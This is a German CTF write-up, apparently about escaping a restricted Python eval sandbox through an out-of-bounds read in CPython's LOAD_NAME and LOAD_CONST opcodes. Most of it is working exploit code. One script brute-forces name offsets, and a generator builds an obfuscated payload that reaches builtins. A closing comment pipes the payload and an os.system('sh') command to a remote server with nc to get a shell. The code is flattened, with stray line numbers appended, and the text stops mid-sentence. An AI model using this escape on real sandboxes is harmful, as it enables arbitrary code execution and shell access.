Wir können die OOB-Lese-Funktion im LOAD_NAME / LOAD_CONST-Opcode verwenden, um ein Symbol im Speicher zu erhalten. Das bedeutet, dass Sie Tricks wie (a, b, c, ... hunderte von Symbolen ..., __getattribute__) if [] else [].__getattribute__(...) verwenden können, um ein Symbol (wie einen Funktionsnamen) zu erhalten, den Sie möchten.
Dann erstellen Sie einfach Ihr Exploit.
Überblick
Der Quellcode ist ziemlich kurz, enthält nur 4 Zeilen!
Aber was passiert, wenn die co_names ein leeres Tupel werden? Der LOAD_NAME 2 Opcode wird dennoch ausgeführt und versucht, den Wert von dieser Speicheradresse zu lesen, von der er ursprünglich stammen sollte. Ja, das ist ein Out-of-Bound Read "Feature".
Das Kernkonzept für die Lösung ist einfach. Einige Opcodes in CPython wie z.B. LOAD_NAME und LOAD_CONST sind anfällig (?) für OOB Reads.
Sie rufen ein Objekt aus dem Index oparg aus dem consts oder names Tupel ab (das ist, wie co_consts und co_names unter der Haube genannt werden). Wir können uns den folgenden kurzen Ausschnitt über LOAD_CONST ansehen, um zu sehen, was CPython tut, wenn es den LOAD_CONST Opcode verarbeitet.
case TARGET(LOAD_CONST): {PREDICTED(LOAD_CONST);PyObject *value =GETITEM(consts, oparg);Py_INCREF(value);PUSH(value);FAST_DISPATCH();}1234567
Auf diese Weise können wir das OOB-Feature verwenden, um einen "Namen" aus einem beliebigen Speicheroffset zu erhalten. Um sicherzustellen, welchen Namen es hat und welchen Offset es hat, versuchen Sie einfach LOAD_NAME 0, LOAD_NAME 1 ... LOAD_NAME 99 ... Und Sie könnten etwas bei etwa oparg > 700 finden. Sie können auch versuchen, gdb zu verwenden, um sich natürlich die Speicherstruktur anzusehen, aber ich glaube nicht, dass es einfacher wäre?
Erzeugen des Exploits
Sobald wir diese nützlichen Offsets für Namen / Konstanten abgerufen haben, wie erhalten wir einen Namen / eine Konstante von diesem Offset und verwenden sie? Hier ist ein Trick für Sie:
Angenommen, wir können einen __getattribute__-Namen vom Offset 5 (LOAD_NAME 5) mit co_names=() erhalten, dann führen Sie einfach die folgenden Schritte aus:
[a,b,c,d,e,__getattribute__] if [] else [[].__getattribute__# you can get the __getattribute__ method of list object now!]1234
Beachten Sie, dass es nicht notwendig ist, es als __getattribute__ zu benennen, Sie können es als etwas Kürzeres oder Seltsameres benennen
Sie können den Grund einfach erkennen, indem Sie sich den Bytecode ansehen:
Beachten Sie, dass LOAD_ATTR auch den Namen aus co_names abruft. Python lädt Namen aus demselben Offset, wenn der Name gleich ist, sodass das zweite __getattribute__ immer noch von Offset=5 geladen wird. Mit diesem Feature können wir einen beliebigen Namen verwenden, sobald der Name im Speicher in der Nähe ist.
Die Generierung von Zahlen sollte trivial sein:
0: not [[]]
1: not []
2: (not []) + (not [])
...
Exploit-Skript
Ich habe keine Konstanten verwendet aufgrund des Längenlimits.
Hier ist zunächst ein Skript, um diese Offsets der Namen zu finden.
from types import CodeTypefrom opcode import opmapfrom sys import argvclassMockBuiltins(dict):def__getitem__(self,k):iftype(k)==str:return kif__name__=='__main__':n =int(argv[1])code = [*([opmap['EXTENDED_ARG'], n //256]if n //256!=0else []),opmap['LOAD_NAME'], n %256,opmap['RETURN_VALUE'],0]c =CodeType(0, 0, 0, 0, 0, 0,bytes(code),(), (), (), '<sandbox>', '<eval>', 0, b'', ())ret =eval(c, {'__builtins__': MockBuiltins()})if ret:print(f'{n}: {ret}')# for i in $(seq 0 10000); do python find.py $i ; done1234567891011121314151617181920212223242526272829303132
Und das Folgende dient zur Erstellung des tatsächlichen Python-Exploits.
import sysimport unicodedataclassGenerator:# get numnerdef__call__(self,num):if num ==0:return'(not[[]])'return'('+ ('(not[])+'* num)[:-1] +')'# get stringdef__getattribute__(self,name):try:offset =None.__dir__().index(name)return f'keys[{self(offset)}]'exceptValueError:offset =None.__class__.__dir__(None.__class__).index(name)return f'keys2[{self(offset)}]'_ =Generator()names = []chr_code =0for x inrange(4700):whileTrue:chr_code +=1char = unicodedata.normalize('NFKC', chr(chr_code))if char.isidentifier()and char notin names:names.append(char)breakoffsets ={"__delitem__":2800,"__getattribute__":2850,'__dir__':4693,'__repr__':2128,}variables = ('keys','keys2','None_','NoneType','m_repr','globals','builtins',)for name, offset in offsets.items():names[offset]= namefor i, var inenumerate(variables):assert var notin offsetsnames[792+ i]= varsource = f'''[({",".join(names)}) if [] else [],None_ := [[]].__delitem__({_(0)}),keys := None_.__dir__(),NoneType := None_.__getattribute__({_.__class__}),keys2 := NoneType.__dir__(NoneType),get := NoneType.__getattribute__,m_repr := get(get(get([],{_.__class__}),{_.__base__}),{_.__subclasses__})()[-{_(2)}].__repr__,globals := get(m_repr, m_repr.__dir__()[{_(6)}]),builtins := globals[[*globals][{_(7)}]],builtins[[*builtins][{_(19)}]](builtins[[*builtins][{_(28)}]](), builtins)]'''.strip().replace('\n', '').replace(' ', '')print(f"{len(source) = }", file=sys.stderr)print(source)# (python exp.py; echo '__import__("os").system("sh")'; cat -) | nc challenge.server port12345678910111213141516171819202122232425262728293031323334353637383940414243444546474849505152535455565758596061626364656667686970717273
Es macht im Grunde genommen die folgenden Dinge für die Zeichenfolgen, die wir aus der __dir__ Methode erhalten: